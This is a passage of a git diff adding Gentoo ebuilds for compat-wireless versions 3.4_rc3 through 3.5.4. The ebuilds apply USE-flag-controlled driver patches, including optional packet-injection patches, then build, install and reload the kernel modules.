cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + # epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + # epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + /usr/sbin/unload.sh + /sbin/udevadm trigger + einfo "Your new modules have been loaded for you, sorry for the network hiccup." + fi + fi + if use !loadmodules; then + einfo "You didn't USE=loadmodules but you can still switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." + fi +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.4_rc3.ebuild b/net-wireless/compat-wireless/compat-wireless-3.4_rc3.ebuild new file mode 100644 index 00000000..a13cae53 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.4_rc3.ebuild @@ -0,0 +1,156 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="1" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~x86" +IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds" + +DEPEND="!net-wireless/compat-wireless-builder" +RDEPEND="${DEPEND} + livecd? ( =sys-kernel/linux-firmware-99999999 ) + !livecd? ( >=sys-kernel/linux-firmware-20110219 ) + virtual/udev" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44" + fi +} + +src_prepare() { + # CONFIG_CFG80211_REG_DEBUG=y + sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + # epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + # epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + einfo "Attempting to unload modules..." + /usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!" + einfo "Triggering automatic reload of needed modules..." + /sbin/udevadm trigger + einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup." + einfo "If you experience any issues reboot is the simplest course of action." + fi + fi + if use !loadmodules; then + einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." + einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules." + fi +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.5-r1.ebuild b/net-wireless/compat-wireless/compat-wireless-3.5-r1.ebuild new file mode 100644 index 00000000..e09c719b --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.5-r1.ebuild @@ -0,0 +1,170 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="1-snpc" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~x86" +IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel" + +DEPEND="!net-wireless/compat-wireless-builder" +RDEPEND="${DEPEND} + >=sys-kernel/linux-firmware-20110219 + virtual/udev" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + CONFIG_CHECK="~NET_SCHED" + CONFIG_CHECK="~IPW2200_PROMISCUOUS" + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44" + fi +} + +src_prepare() { + use pax_kernel && epatch "${FILESDIR}"/${P}-grsec.patch + use pax_kernel && epatch "${FILESDIR}"/${P}-grsec2.patch + + #mcgrof said prep for inclusion in compat-wireless.git but this causes issues + #find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/' + #sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk + + # CONFIG_CFG80211_REG_DEBUG=y + sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + # epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + # epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + + #enable alx atheros ethernet driver + sed -i 's/ALX=n/ALX=m/' "${S}"/config.mk || die "Failed to enable Atheros ALX driver" + + #avoid annoying ACCESS DENIED sandbox errors + sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed" + sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed" + sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed" +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + einfo "Attempting to unload modules..." + /usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!" + einfo "Triggering automatic reload of needed modules..." + /sbin/udevadm trigger + einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup." + einfo "If you experience any issues reboot is the simplest course of action." + fi + fi + if use !loadmodules; then + einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." + einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules." + fi +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.5.4.ebuild b/net-wireless/compat-wireless/compat-wireless-3.5.4.ebuild new file mode 100644 index 00000000..ee98649d --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.5.4.ebuild @@ -0,0 +1,173 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="1-snpc" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="amd64 ~arm x86" +IUSE="+alx atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel" + +DEPEND="!net-wireless/compat-wireless-builder" +RDEPEND="${DEPEND} + >=sys-kernel/linux-firmware-20110219 + virtual/udev" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + CONFIG_CHECK="~NET_SCHED" + CONFIG_CHECK="~IPW2200_PROMISCUOUS" + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44" + fi +} + +src_prepare() { + use pax_kernel && epatch "${FILESDIR}"/${PN}-3.5.4-grsec.patch + + #mcgrof said prep for inclusion in compat-wireless.git but this causes issues + #find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/' + #sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk + + # CONFIG_CFG80211_REG_DEBUG=y + sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + # epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + # epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + + #enable alx atheros ethernet driver + if use alx; then + sed -i 's/ALX=n/ALX=m/' "${S}"/config.mk || die "Failed to enable Atheros ALX driver" + else + sed -i 's/ALX=m/ALX=n/' "${S}"/config.mk || die "Failed to disable Atheros ALX driver" + fi + + #avoid annoying ACCESS DENIED sandbox errors + sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed" + sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed" + sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed" +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + einfo "Attempting to unload modules..." + /usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!" + einfo "Triggering automatic reload of needed modules..." + /sbin/udevadm trigger + einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup." + einfo "If you experience any issues reboot is the simplest course of action." + fi + fi + if use !loadmodules; then + einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." + einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules." + fi +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.5.ebuild b/net-wireless/compat-wireless/compat-wireless-3.5.ebuild new file mode 100644 index 00000000..d6e2fc2d --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.5.ebuild @@ -0,0 +1,169 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="1-snpc" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~x86" +IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel" + +DEPEND="!net-wireless/compat-wireless-builder" +RDEPEND="${DEPEND} + >=sys-kernel/linux-firmware-20110219 + virtual/udev" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + CONFIG_CHECK="~NET_SCHED" + CONFIG_CHECK="~IPW2200_PROMISCUOUS" + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44" + fi +} + +src_prepare() { + use pax_kernel && epatch "${FILESDIR}"/${P}-grsec.patch + + #mcgrof said prep for inclusion in compat-wireless.git but this causes issues + #find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/' + #sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk + + # CONFIG_CFG80211_REG_DEBUG=y + sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + # epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + # epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + + #enable alx atheros ethernet driver + sed -i 's/ALX=n/ALX=m/' "${S}"/config.mk || die "Failed to enable Atheros ALX driver" + + #avoid annoying ACCESS DENIED sandbox errors + sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed" + sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed" + sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed" +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto 